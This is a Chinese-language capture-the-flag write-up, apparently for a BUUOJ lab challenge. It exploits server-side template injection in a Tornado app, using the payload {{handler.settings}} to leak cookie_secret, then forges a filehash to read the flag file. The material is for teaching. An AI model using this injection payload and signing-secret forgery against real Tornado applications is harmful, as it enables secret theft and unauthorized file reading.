知识点
- SSTI模板注入
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以参考Tornado官方文档。
本题中用到的是handler.settings
,handler
指向RequestHandler
,而RequestHandler.settings
又指向self.application.settings
,所以handler.settings
就指向RequestHandler.application.settings
了,这里面就是我们的一些环境变量。
启动靶机
1. 打开题目
访问靶机,发现三个文件
访问flag.txt
,提示flag在/fllllllllllllag
访问welcome.txt
,提示render
,模板注入
访问hints.txt
,提示md5(cookie_secret+md5(filename))
2. 存在模板注入
尝试直接吧文件名改成 /fllllllllllllag
报错:
可以看到在报错的url中参数msg值为Error,然后界面就显示Error。
继续修改证实此处存在模板注入:
被过滤:
测试一下,发现被过滤的字符有:
"%'()*-/=[\]_|
3. 获取cookie_secret
根据之前提示的md5(cookie_secret+md5(filename))
以及之前打开文件的url参数,分析这个就是filehash的值,想获得flag只要我们在url中传入/fllllllllllllag文件和filehash。所以需要获取到cookie_secret。
在模板注入这里我们应该可以得到cookie_secret
handler.settings可以得到cookie_secretde的值
于是payload:
?msg={{handler.settings}}
得到cookie_secret
'cookie_secret': 'acfad1ff-3aff-420c-924d-f32691aab30c'}
4. 得到filehash
所以filehash为:
md5(cookie_secret+md5(filename))
->
md5(acfad1ff-3aff-420c-924d-f32691aab30c+md5(/fllllllllllllag))
->
得到:2f3ded1324b7d8b279dbc11c5fb95ecd
5. 最终payload
最终传参:
http://33e999b7-7bfe-4586-8954-bf708048c9f0.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=2f3ded1324b7d8b279dbc11c5fb95ecd
得到flag